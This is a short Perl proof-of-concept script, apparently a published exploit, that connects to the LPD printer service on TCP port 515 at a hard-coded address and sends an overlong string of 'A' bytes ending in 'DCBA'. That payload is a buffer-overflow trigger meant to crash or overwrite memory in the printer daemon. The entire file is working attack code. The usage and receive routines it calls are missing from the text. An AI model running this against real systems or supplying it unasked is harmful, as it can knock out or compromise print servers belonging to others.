#!/usr/bin/perl

## Source:
## http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=21&Itemid=21

use Getopt::Std;
use IO::Socket::INET;

$SIG{INT}  = \&abort;

my $host  = '10.102.3.79';
my $port  = 515;
my $proto = 'tcp';
my $sockType = SOCK_STREAM;
my $timeout = 1;

my %opt;
my $opt_string = 'hH:P:t:';
getopts( "$opt_string", \%opt );

if (defined $opt{h}) {
    usage()
}

my @commands = (
{Command => 'Send',
 Data => "\x01\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x44\x43\x42\x41\x0a"},

);

my $sock = new IO::Socket::INET ( 
                PeerAddr => $host,
            PeerPort => $port,
            Proto => $proto,
                Type => $sockType,
                Timeout => $timeout,
            )
    or die "socket error: $!\n\n";

print "connected to: $host:$port\n";

$sock->autoflush(1);
binmode $sock;

foreach my $command (@commands)
{
    if ($command->{'Command'} eq 'Receive')
    {
        my $buf = receive($sock, $timeout);
        if (length $buf)
        {
            print "received: [$buf]\n";
        }
    }
    elsif ($command->{'Command'} eq 'Send')
    {
        print "sending: [".$command->{'Data'}."]\n";
        send ($sock, $command->{'Data'}, 0) or die "send failed, reason: $!\n";
    }
}

close ($sock);